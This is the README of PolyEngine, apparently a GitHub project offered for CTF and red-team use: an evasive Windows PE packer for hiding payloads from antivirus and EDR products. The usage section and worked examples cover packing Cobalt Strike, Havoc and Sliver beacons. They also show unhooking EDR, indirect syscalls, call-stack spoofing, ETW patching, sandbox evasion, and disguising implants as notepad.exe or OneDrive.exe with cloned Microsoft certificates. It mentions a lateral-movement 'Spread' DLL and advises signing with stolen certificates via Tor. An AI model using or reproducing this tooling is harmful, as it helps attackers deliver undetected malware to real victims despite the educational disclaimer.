
PolyEngine è un packer PE evasivo progettato per sfide CTF e formazione di sicurezza Windows a basso livello. Si concentra sull'elusione delle euristiche EDR e AV attraverso uno stack stratificato di esecuzione in memoria e tecniche di offuscamento.
# PolyEngine — Packer PE Polimorfico 📦
**PolyEngine** è un packer PE evasivo di livello di ricerca, progettato per sfide CTF e formazione sulla sicurezza Windows a basso livello. Si concentra sull'elusione delle euristiche EDR e AV attraverso una pila stratificata di tecniche di esecuzione in memoria e offuscamento.
Questo è un progetto secondario a cui sto lavorando da un po'. Ho usato Claude Code per implementare e correggere alcune delle tecniche che volevo implementare nel mio packer PE. Ci sono molti commenti sulle funzioni e su cosa fanno, dato che è stata una grande esperienza di apprendimento per me e Claude lo fa perfettamente (io sono scarso). Spero che aiuti alcune persone a imparare alcuni internals di Windows o a eludere alcuni AV e rilevamenti statici di soluzioni più avanzate quando si affrontano quei ProLabs 🏯.
🔥 Un grande ringraziamento a [MalDevAcademy](https://maldevacademy.com/) per tutti i materiali per crearlo e l'ispirazione.
🌩 Grazie a [vx-underground](https://x.com/vxunderground) per l'ispirazione tramite un tweet sciocco con un gatto stupido.
> **Disclaimer:** Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, competizioni CTF e uso educativo. L'uso contro sistemi senza autorizzazione esplicita è vietato. L'autore non si assume alcuna responsabilità per un uso improprio.
---
## Utilizzo
Ordine di compilazione: **Prima lo Stub, poi il Builder**. Lo Stub Release|x64 genera `stub_v0.bin`..`stub_v3.bin`; il Builder ne incorpora uno in `.rsrc`.
Assicurati che `stub_v0.bin`..`stub_v3.bin` siano nella directory di lavoro (o passa `--stub`).```
Builder.exe <input> <output> [OPTIONS]
<input> Target PE (.exe/.dll) or raw shellcode (.bin)
Payload type is auto-detected from the MZ header - no flag needed.
<output> Output executable
Loader:
--stub <path> Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin]
--preset PRINT|MEDIA|NETWORK|RANDOM
Module stomping DLL preset [default: PRINT]
--overload Module overloading instead of stomping
(NtCreateSection/NtMapViewOfSection, not in PEB LDR)
--keep-alive ExitThread(0) instead of ExitProcess
(required for C2 implants that spawn their own threads)
--unhook Restore original .text bytes in ntdll/kernel32/
kernelbase from \KnownDlls\ clean copies
(overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode):
--export <name> DLL export to invoke after DllMain
--arg <string> Argument passed to the export [max 127 chars]
Evasion (all ON by default):
--spoof-name <exe> Process name for PEB spoof [default: random from pool]
Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
SearchIndexer.exe taskhostw.exe spoolsv.exe
wlrmdr.exe WMPDMC.exe hvix64.exe
--exec-ctrl-name <name> Semaphore name for exec-ctrl check [default: wuauctl]
(max 31 chars)
--sleep-fwd-ms <ms> Sleep duration for sleep-fwd check [default: 500]
Detection threshold: 90% of <ms> elapsed
--uptime-min <minutes> Uptime threshold for uptime check [default: 2]
--hammer-s <seconds> API-hammer delay duration [default: 3]
--disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens:
etw EtwEventWrite patch (ETW telemetry suppression)
spoofing Call-stack spoofing (SilentMoonwalk RSP pivot)
peb PEB path/cmdline spoof
tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens:
hammer API-hammer timing delay (VirtualAlloc/Free loop)
debugger Debugger detection (PEB flags / NtQueryInformationProcess)
api-emu API emulation probe (RtlComputeCrc32 identity check)
exec-ctrl Execution-control semaphore (re-execution detection)
sleep-fwd Sleep-forwarding detection (timing)
uptime System uptime check
cpu CPU count check (< 2 logical cores)
screen Screen resolution check (<= 1024 px width)
files Recent-files count check (< 5 RecentDocs subkeys)
all Disable every token listed above
Identity spoofing:
--pfx <path> PFX certificate container to sign the output with
--pfx-pass <password> PFX passphrase [omit if PFX has no password]
--ts-url <url> RFC 3161 timestamp URL [default: no timestamping]
OPSEC: timestamping reveals build IP/time to the TSA.
Enable only when signing from an isolated VM, or when
the signature must survive cert revocation.
--clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory
from a donor PE (e.g. notepad.exe, OneDrive.exe).
Explorer "Details" tab shows donor company/product/version;
file icon matches donor; "Digital Signatures" tab shows
donor's signer (HashMismatch — defeats visual inspection only).
Name output to match donor OriginalFilename field.
When combined with --pfx: real signature overwrites cloned cert.
--uac Embed a UAC elevation manifest (requireAdministrator).
Output PE prompts for admin privileges on launch.
Applied as Phase 10.5 (after packing, before signing).
Examples:
Builder.exe implant.exe packed.exe
Builder.exe implant.exe packed.exe --stub stub_v2.bin
Builder.exe shellcode.bin packed.exe --keep-alive
Builder.exe beacon.dll packed.exe --export Start --keep-alive
Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe"
Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls
Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5
Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx
Builder.exe implant.exe packed.exe --uac
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
## Examples
Esempi pratici raggruppati per scenario. Ogni flag è opt-out (l'evasione è completamente ATTIVA per impostazione predefinita), quindi l'invocazione più semplice ottiene già l'intero stack.
<details>
<summary><b>Pacchettizzazione di base - EXE / DLL / shellcode</b></summary>
Impacchetta un EXE non gestito. Il builder rileva automaticamente l'intestazione `MZ` e instrada attraverso il percorso RunPE:```
Builder.exe implant.exe packed.exe
```
Pacchetta shellcode raw position-independent (Cobalt Strike `.bin`, msfvenom `-f raw`, ecc.). Nessun `MZ` → chiamata diretta nel buffer decompresso:```
Builder.exe beacon.bin packed.exe
```
Impacchetta una DLL e chiama il suo `DllMain` predefinito solo (nessuna esportazione):```
Builder.exe payload.dll packed.exe
```
Usa uno stub da una posizione non predefinita:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>
<details>
<summary><b>Carichi utili DLL con export - Havoc / Sliver / beacon personalizzati</b></summary>
Chiama un export denominato dopo che `DllMain` è ritornata. La maggior parte degli implant C2 viene fornita come DLL con un singolo export di entry (ad es. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
Passa un argomento stringa all'esportazione (max 127 caratteri). Utile per payload che accettano una stringa di configurazione, un URL o un comando shell:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` è richiesto per qualsiasi payload che avvii i propri thread - senza di esso il loader chiama `ExitProcess` e uccide il beacon.
</details>
<details>
<summary><b>Implanti a lunga durata (C2 beacon)</b></summary>
Cobalt Strike / Sliver / Havoc avviano tutti un thread beacon e tornano. Il thread loader deve terminare senza abbattere il processo:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
</details>
<details>
<summary><b>Preset di module stomping - scelta di una DLL host</b></summary>
Lo stub del decryptor è nascosto all'interno della sezione `.text` di una DLL benigna di Windows. Scegli il preset i cui moduli caricati appaiono più legittimi per il contesto target:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (predefinito) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Comune nella maggior parte delle workstation.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Adatto per un payload che già necessita del caricamento delle API di rete.
`RANDOM` - tre indici casuali dall'intero pool (incluso `bcrypt.dll`, idx 9).
Passaggio da `LoadLibraryW` stomping a `NtCreateSection`+`NtMapViewOfSection` overloading (la DLL non entra mai in `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>
<details>
<summary><b>Disinnesco degli hook EDR in userland</b></summary>
Ripristina i byte `.text` puliti per `ntdll`, `kernel32`, `kernelbase` da `\KnownDlls\` su qualsiasi hook inline EDR. HellsHall bypassa già gli hook sensibili di `Nt*`; `--unhook` è necessario solo quando il payload stesso chiama API Win32 hookate (es. `LoadLibrary`, `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>
<details>
<summary><b>PEB spoofing - mascheramento del processo</b></summary>
Sovrascrivi il nome di spoof scelto automaticamente. Scegli qualcosa che si adatti al processo padre / contesto di avvio (macro di Office → `RuntimeBroker.exe` sembra strano, `WmiPrvSE.exe` si mimetizza meglio):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
</details>
<details>
<summary><b>Regolazione delle soglie di elusione</b></summary>
Ritardo del martello più lungo contro sandbox pazienti che eseguono per decine di secondi prima di giudicare:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
Soglia di uptime più alta - esegui solo se la macchina è stata accesa per almeno 30 minuti (la maggior parte delle sandbox genera una VM fresca per campione):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
Rilevamento più stretto del sleep-forwarding (sonno più breve, più difficile da fast-forward senza errori osservabili):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Nome semaforo personalizzato per il controllo exec-control (evita conflitti con un altro campione che utilizza il default `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
Impila tutto per un profilo paranoico:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>
<details>
<summary><b>Disabilitare le funzionalità per debug / lavoro di laboratorio</b></summary>
Quando si itera in un debugger, il callback TLS e i controlli del debugger si attivano immediatamente. Disabilitare entrambi per collegarsi liberamente:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
Salta ogni controllo sandbox (mantiene ancora le funzionalità OPSEC attive - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
Stessa cosa, più breve:```
Builder.exe implant.exe packed.exe --disable all
```
Disabilita funzionalità OPSEC specifiche (ad esempio quando l'ambiente target non necessita di ETW patching, o il PEB spoof rompe un payload che percorre il proprio PEB):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` copre solo i controlli sandbox/debug. I token OPSEC (`etw`, `spoofing`, `peb`, `tls`) devono essere elencati esplicitamente.
</details>
<details>
<summary><b>Clonazione dell'identità — VERSIONINFO, icona, certificato Authenticode</b></summary>
Copia l'identità estetica di qualsiasi PE donatore nell'output compresso. Le proprietà di Esplora file, l'icona della barra delle applicazioni e la scheda Firme digitali del binario di output riflettono tutte il donatore:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
Cosa viene clonato:
- **VERSIONINFO** (`RT_VERSION`) — scheda "Proprietà → Dettagli" di Explorer: azienda, nome del prodotto, versione del file, copyright. Vengono copiati tutti gli ID lingua presenti nel donatore.
- **Icona** (`RT_GROUP_ICON` + `RT_ICON`) — il gruppo di icone con ID più basso (quello che Explorer utilizza per l'icona della shell). La barra delle applicazioni, alt-tab e il browser dei file mostrano tutti l'icona del donatore.
- **Directory dei certificati Authenticode** — il blob `WIN_CERTIFICATE` PKCS#7 grezzo viene aggiunto alla fine del file allineato a 8 byte. La scheda "Proprietà → Firme digitali" di Explorer mostra il firmatario del donatore (ad es. `Microsoft Windows`). `Get-AuthenticodeSignature` restituisce `Status = HashMismatch` — la firma è strutturalmente valida ma l'hash copre i byte del donatore, non i nostri. Sconfigge un'ispezione visiva casuale; qualsiasi verificatore reale (`signtool verify`, `WinVerifyTrust`, motori AV) rileva la discrepanza.
**OPSEC — OriginalFilename:** il VERSIONINFO del donatore incorpora `OriginalFilename` (ad es. `notepad.exe`). Alcuni controllori di firme e le euristiche di Defender segnalano una discrepanza tra `OriginalFilename` e il nome effettivo del file su disco. Rinominare l'output in modo che corrisponda:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**Combinazione con `--pfx`:** quando sono presenti entrambi i flag, la Fase 11 (clonazione) viene eseguita prima della Fase 12 (firma). La firma reale sovrascrive la directory del certificato clonato; VERSIONINFO e icona vengono preservati. `Get-AuthenticodeSignature` mostra il tuo certificato come valido, non quello del donatore con hash non corrispondente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**Verifica:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>
<details>
<summary><b>Elevazione UAC — manifest requireAdministrator</b></summary>
Incorpora un manifest `requestedExecutionLevel="requireAdministrator"` in modo che il PE risultante attivi un prompt UAC all'avvio e riceva un token ad alta integrità se l'utente approva:```
Builder.exe implant.exe packed.exe --uac
```
Il manifest è una risorsa `RT_MANIFEST` (ID risorsa 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), lo stesso slot che il caricatore di Windows verifica per i manifest di compatibilità applicativa e privilegi. L'output è altrimenti identico a una build senza `--uac`; nessuna modifica al percorso dello Stub o del payload.
**Combinazione con `--clone-meta` e `--pfx`:** La Fase 10.5 (manifest) viene eseguita prima della Fase 11 (clone) e della Fase 12 (firma). La firma Authenticode calcolata nella Fase 12 copre tutte le risorse incorporate, incluso il manifest — l'hash è valido sull'intero binario finale. La finestra di dialogo UAC mostra il nome dell'editore dal certificato di firma:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** un prompt UAC è un evento visibile e rivolto all'utente. Il dialogo "Vuoi consentire a questa app di apportare modifiche al dispositivo?" mostra il nome del file su disco e l'editore Authenticode (o "Editore sconosciuto" se non firmato). Combina `--uac` con `--clone-meta` per mostrare un'icona familiare e `--pfx` per mostrare un editore credibile. Per esecuzioni non presidiate che partono già da un processo elevato (ad es. servizio, movimento laterale WMI, shell amministratore locale), `--uac` non è necessario.
</details>
<details>
<summary><b>Firma Authenticode (PFX, senza signtool)</b></summary>
Firma l'output impacchettato con un certificato PFX. Il builder comunica direttamente con `mssign32!SignerSignEx2` — nessun `signtool.exe` sulla workstation dell'operatore, nessun strumento di firma Windows SDK richiesto:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX senza password (ometti completamente il flag `--pfx-pass`):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
Aggiungi un timestamp RFC 3161 in modo che la firma rimanga valida dopo la scadenza o la revoca del certificato. Nota che l'autorità di timestamp registra l'IP di build e l'esatto momento di firma — vedi la nota OPSEC qui sotto:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — quando saltare il timestamp:** `--ts-url` è un'opzione attivabile manualmente. Ogni richiesta a una TSA pubblica inserisce l'host di compilazione dell'operatore nei log HTTP della TSA insieme al secondo esatto in cui la firma è stata prodotta — una forte correlazione forense se il campione dovesse successivamente emergere in un'analisi di incidente. Incorporare il timestamp, inoltre, imprime lo stesso istante nel blob della firma all'interno del PE impacchettato, dove qualsiasi analista futuro può leggerlo. Quando il timestamp non è necessario (tipico per certificati autofirmati o operazioni a breve termine in cui la validità della firma oltre la scadenza del certificato non è rilevante), omettere il flag e la firma rimane completamente isolata dall'aria (air-gapped).
**OPSEC — quando mantenere il timestamp:** i certificati di firma del codice rubati o a breve termine che verranno revocati traggono beneficio da una controfirma TSA — Windows accetta la firma dopo la revoca, purché il timestamp sia antecedente alla data di revoca. In tal caso, firmare da una VM isolata attraverso un proxy/Tor e considerare i log della TSA come un'esposizione deliberata (ma circoscritta).
La chiave privata non viene mai persistita: `PFXImportCertStore` viene chiamato con `PKCS12_NO_PERSIST_KEY`, quindi nessun contenitore di chiavi appare in `%APPDATA%\Microsoft\Crypto`. Digest SHA-256, KSP preferito da CNG per compatibilità con PFX prodotti da `New-SelfSignedCertificate` e OpenSSL ≥3.x.
</details>
<details>
<summary><b>Combinazioni realistiche</b></summary>
DLL beacon di Cobalt Strike, host a tema rete, evasione completa, nome mutex personalizzato:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode, overloading invece di stomping, ritardo hammer più lungo:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
Stage-2 EXE per un CTF dove controlli il trigger e non hai bisogno di anti-debug:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
DLL helper per movimento laterale con un argomento di percorso:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Impianto a lungo termine mascherato da binario comune di Microsoft, stack di evasione completo:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
Esempio impacchettato con un certificato autofirmato reale e identità VERSIONINFO corrispondente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>
---
## Build
**Solo Visual Studio 2022 (MSVC v143), Release|x64.** Apri `PolyEngine.sln`.
L'ordine di compilazione è importante:
1. **Stub** project (Release|x64) → MSBuild fan-out emette `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. **Builder** project → produce `Builder/x64/Release/Builder.exe` (o OutDir della soluzione)
Ogni `stub_v*.bin` è un PE con solo linker entry `EntryPoint` (nessun CRT). Le varianti differiscono nell'ordine delle fasi OPSEC e nella disposizione decoy/isola; HellsHall/Moonwalk rimangono condivisi. Builder ne sceglie uno a caso dalla CWD (o tramite `--stub`), esegue StubMorph, quindi incorpora il payload sotto un ID RT_RCDATA per build.
MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`. Nessun CMake, nessun Makefile.
**Per aggiungere un nuovo hash API:** calcola `Djb2HashA("ApiName")` (stesso algoritmo di `ApiHashing.cpp`), aggiungi un globale `g_Hash_*` in `ApiHashing.h`, inizializzalo in `ApiHashing_InitHashes()`.
---
## Panoramica dell'architettura
Tre componenti che implementano una pipeline **pack → encrypt → inject**: **Builder** impacchetta il PE/shellcode in input, **Engine** (libreria condivisa) fornisce primitive di crittografia/compressione/mutazione, **Stub** è l'esecutore runtime incorporato nel PE di output.
<details>
<summary>Pipeline dettagliata e flusso di esecuzione dello Stub</summary>```
Builder.exe
├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
├── reads target PE or raw shellcode (.bin)
├── LZNT1 compress
├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
├── MutationEngine → unique polymorphic ASM decryptor per build
├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
├── XTEA-CTR encrypt (outer layer)
├── BuildInfectedPE:
│ ├── patch TLS guard marker (--disable tls)
│ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
│ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
│ ├── write stub → output PE
│ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
├── (optional) UAC manifest / clone-meta / Authenticode sign
└── Output.exe
Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs
├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags)
├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls)
├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3):
│ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb
│ (HellsHall.asm + g_Spoof* layout identical in every variant)
├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload);
│ LZNT1 decompress; restore stomped .text
└── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode);
keep-alive: ExitThread (PE) or Sleep park (raw SC)
```
</details>
---
## Tecniche di Evasione
<details>
<summary><b>Varianti del Loader — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>
La versione stub|x64 compila **quattro** loader tramite MSBuild (`POLY_VARIANT=0..3`, `IntDir` separati). Ogni binario ha un diverso ordine delle fasi OPSEC e dimensioni decoy/island per variante (`PolyIslands.c`), pertanto gli hash statici divergono. Condivisi e **mai** derivati per variante: `HellsHall.asm`, layout dati di SilentMoonwalk (`g_SpoofSyntheticStack`), marcatori TLS/ResID.
| Variante | Ordine `Loader_OpsecPhase` |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |
Il builder senza `--stub` sceglie casualmente tra `stub_v0.bin`..`stub_v3.bin` nella CWD (`CryptGenRandom`). `--stub <path>` forza un file specifico.
</details>
<details>
<summary><b>StubMorph al momento del packaging</b></summary>
Dopo le patch dei marcatori TLS/ResID e prima di scrivere il PE in output, `StubMorph_Apply` (`Engine/StubMorph.c`) muta l'immagine del loader scelta in-place:
- `TimeDateStamp` plausibile preso da **[ora−5anni, ora]** — un DWORD completamente casuale potrebbe cadere nel futuro, che è un indicatore euristico
- nomi di sezioni basati sul profilo del toolchain (stile MSVC / MinGW / Delphi / NSIS, scelti per build; salta `.rsrc`, `.reloc`, `.tls`, `.CRT`) — nomi casuali di 8 caratteri attiverebbero le euristiche dei packer stile UPX
- cancella `IMAGE_DIRECTORY_ENTRY_DEBUG` + checksum PE (ricalcolato successivamente se `--pfx`)
- riscrive i pad delle isole POLY (`50 4C 59 A0` … marcatori `AF` in `PolyIslands.c`, inclusa l'isola `g_PolyDecoy`) con byte casuali della **stessa lunghezza**, poi randomizza i marcatori stessi — nessun pattern `PLY` o contenuto decoy fisso sopravvive nel PE in output; nessuna crescita del PE, nessun fixup di relocation
Non tocca HellsHall, le variabili globali di spoof, o i marcatori usati dalle patch TLS/ResID.
</details>
<details>
<summary><b>Syscall Indiretti — HellsHall</b></summary>
Tutte le operazioni NT sensibili (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, ecc.) passano attraverso syscall indiretti anziché gli stub in user-mode hookati nella ntdll del processo:
1. All'avvio, `Syscalls_Init()` analizza la Directory delle Esportazioni della ntdll del processo e raccoglie l'RVA di ogni funzione `Zw*` in una tabella piatta.
2. Gli SSN sono derivati tramite **ordinamento per RVA** (variante HellsGate/FreshyCalls): tutti gli RVA delle `Zw*` vengono ordinati; l'indice ordinato == SSN. Agnostico agli hook per progettazione — funziona anche se gli hook EDR hanno riscritto i prologhi delle funzioni, poiché gli hook non riordinano le esportazioni.
3. Un trampolino `syscall; ret` (`0F 05 C3`) viene localizzato all'interno della sezione `.text` della ntdll del processo. La sequenza di 3 byte è la coda standard di ogni stub `Nt*`. Gli hook inline in user-mode degli EDR mirano al *punto di ingresso* delle funzioni `Nt*` esportate (primi 5–15 byte) — mai all'istruzione syscall alla fine dello stub, perché patchare il centro di uno stub ne romperebbe la semantica. I byte in qualsiasi sito corrispondente sono quindi non modificati, identici a un mapping pulito di `\KnownDlls\`, e risiedono in memoria MEM_IMAGE supportata da `C:\Windows\System32\ntdll.dll` su disco. `g_CleanTrampoline` punta direttamente lì — nessun mapping secondario di ntdll, nessuna copia MEM_PRIVATE.
4. Tutti i syscall saltano a `g_CleanTrampoline` — gli hook EDR ai punti di ingresso delle Nt* esportate vengono bypassati. Dal punto di vista di un ETW che esamina lo stack lato kernel, il frame foglia atterra già all'interno di `ntdll.dll` (nessun IOC di "syscall non supportato").
</details>
<details>
<summary><b>Disinnesco Hook in Userland — <code>--unhook</code></b></summary>
Passaggio opzionale eseguito una volta dopo `Syscalls_Init()` e prima di qualsiasi syscall rilevante per il payload. Per ciascuna di `ntdll`, `kernel32`, `kernelbase`:
1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — byte immagine puliti (la stessa sezione condivisa che il loader ha mappato originariamente, prima che qualsiasi EDR potesse installare hook).
2. `memcmp` pagina per pagina del `.text` attivo contro la copia pulita.
3. Dove i byte differiscono (= hook inline EDR): `NtProtect RX→RW`, `memcpy` byte puliti sull'hook, `NtProtect RW→RX`.
4. Smappa e chiudi.
Questo ripristina la semantica normale di `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` per qualsiasi successiva chiamata Win32 (camminate PEB, `LoadLibrary`, ecc.). Saltato quando `--unhook` è omesso — HellsHall da solo bypassa già tutti gli hook sensibili `Nt*`, quindi il disinnesco è opzionale (è un'azione più pesante con un piccolo rischio di rompere layout di hook insoliti).
</details>
<details>
<summary><b>Spoofing dello Stack di Chiamata — Pivot RSP di SilentMoonwalk</b></summary>
Gli EDR monitorano lo stack di chiamata del thread nel momento in cui viene emesso un syscall per verificare che la catena del chiamante sia legittima. PolyEngine sconfigge questo con un **pivot RSP stile SilentMoonwalk** — nessun breakpoint hardware, nessun handler VEH, nessuna eccezione:
1. `StackSpoof_Init()` scansiona il `.text` di ntdll (e qualsiasi altra sezione `IMAGE_SCN_MEM_EXECUTE`) alla ricerca di due gadget:
- **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) all'interno di una funzione il cui `UNWIND_INFO` pubblicizza un delta alloc `imm8` corrispondente. Vincolato a `imm8 < 0x20` affinché la catena non collida con argomenti stack passati in avanti.
- **Gadget 2** — `jmp rbx` (`FF E3`), localizzato in qualsiasi sezione eseguibile tramite scansione byte grezza, ma accettato solo se il sito corrispondente si trova all'interno di una `RUNTIME_FUNCTION` il cui `UNWIND_INFO` viene analizzato correttamente. L'`allocDelta` della funzione determina dove `RtlUserThreadStart` viene piantato nello stack sintetico, quindi un gadget senza una funzione runtime corrispondente romperebbe la catena visibile all'EDR. Saltare nel mezzo di un'istruzione più lunga è accettabile — la CPU decodifica `FF E3` dall'indirizzo del gadget indipendentemente dal byte precedente.
2. Uno `g_SpoofSyntheticStack[32]` statico è disposto in modo che il `ret` del trampolino percorra gadget1 → gadget2 → di nuovo al punto di continuazione del loader, con `RtlUserThreadStart` piantato più in basso come apparente radice del thread.
3. Ogni chiamata a `HellsHallSyscall` (quando lo spoofing è abilitato) esegue `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. Il kernel vede un RSP che punta allo stack sintetico, ancorato in codice ntdll legittimo.
4. Gli argomenti syscall basati sullo stack (5..10) vengono inoltrati dal frame del chiamante allo stack sintetico agli offset `0x28..0x50` *prima* del pivot — senza questo, il kernel leggerebbe indirizzi di gadget come argomenti e restituirebbe `STATUS_ACCESS_VIOLATION`.
5. Dopo il syscall, il `jmp rbx` del gadget2 atterra su `AfterJmpPoint`, che ripristina RSP da `g_SpoofSavedRsp`, rimuove `rbx` e ritorna al loader.
6. `StackSpoof_Cleanup()` cancella `g_SpoofEnabled` in modo che i thread propri del payload vedano indirizzi di ritorno reali.
</details>
<details>
<summary><b>Module Stomping / Module Overloading</b></summary>
Invece di `VirtualAlloc(RWX)`, il decryptor polimorfo viene eseguito all'interno della sezione `.text` di una DLL Windows caricata legittimamente. Non viene mai allocata memoria RWX.
**Stomping (predefinito — `LoadLibraryW`, la DLL appare in PEB LDR):**
```
---
[Read more](https://github.com/longwayhomie/polyengine)